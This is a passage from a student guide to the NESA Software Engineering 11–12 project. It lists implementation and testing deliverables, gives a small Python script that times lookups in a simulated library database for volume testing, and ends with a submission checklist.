- Complete Gantt chart covering all phases
- Risk register with mitigation strategies
- Structure charts and/or DFDs
- Storyboards or wireframes with annotations
- Justified choice of implementation method
Phase 3 — Producing & Implementing
- Code that matches the planned design
- Regular Git commits with meaningful messages
- Modular, well-documented code (docstrings, PEP 8)
- Evidence of iterative development (multiple versions)
- Process diary entries describing decisions made
- Prototype or UI screenshots
Phase 4 — Testing & Evaluating
- Functional Testing: Checking workflows against the functional requirements.
- Acceptance Testing: Client confirms the software solves their original problem (UAT).
- Live Data / Simulated Data Testing: Using real-world scale data OR generated datasets to trigger edge cases.
- Beta / Volume Testing: User trials before public release, and testing system limits under mass concurrent usage.
- Test data table (normal, boundary, invalid) & Defect log.
- Evaluation against every Phase 1 requirement & documented client feedback.
# NESA testing methods require proof of Volume Testing.
# Use scripts like this in your project to flood your system with simulated data
# and produce a performance graph for your marking portfolio.
import time
import random
# E.g., simulate a library database with 10,000 dummy records
print("Generating 10,000 dummy library records for Volume Testing...")
library_db = {f"ISBN-{i}": f"Book Title {i}" for i in range(10000)}
def search_book(isbn):
return library_db.get(isbn, "Not Found")
# Stress Test
start_time = time.time()
print("\nExecuting stress test: 50,000 simultaneous searches...")
for _ in range(50000):
random_isbn = f"ISBN-{random.randint(0, 15000)}"
search_book(random_isbn)
end_time = time.time()
print(f"✅ Volume Testing Complete.")
print(f"Time taken to process 50,000 queries over 10K records: {end_time - start_time:.4f} seconds")
Submission Checklist
Before submitting your Software Engineering Project, use this checklist to ensure your documentation package is complete:
| Item | Required | Completed? |
|---|---|---|
| Signed client requirements document | Essential | ☐ |
| Functional and non-functional requirements table | Essential | ☐ |
| User stories with acceptance criteria | Essential | ☐ |
| Feasibility analysis (scheduling and resources) | Essential | ☐ |
| Gantt chart (all 4 phases) | Essential | ☐ |
| Risk register with mitigation strategies | Essential | ☐ |
| Structure chart or DFD (or both) | Essential | ☐ |
| Storyboard and/or wireframes | Essential | ☐ |
| Development approach justification | Essential | ☐ |
| Well-commented, PEP 8 compliant source code | Essential | ☐ |
| Git repository with regular commit history | Essential | ☐ |
| Test plan document | Essential | ☐ |
| Test data table (normal, boundary, invalid) | Essential | ☐ |
| Defect log | Essential | ☐ |
| Evaluation against all Phase 1 requirements | Essential | ☐ |
| Client feedback and UAT sign-off | Essential | ☐ |
| Process diary (dated, throughout project) | Essential | ☐ |
| Change request log (if requirements changed) | Recommended | ☐ |
| Data dictionary | Recommended | ☐ |
| Meeting minutes (all client meetings) | Recommended | ☐ |
These specifications are based on the NESA Software Engineering 11–12 Course Specifications (updated March 2026).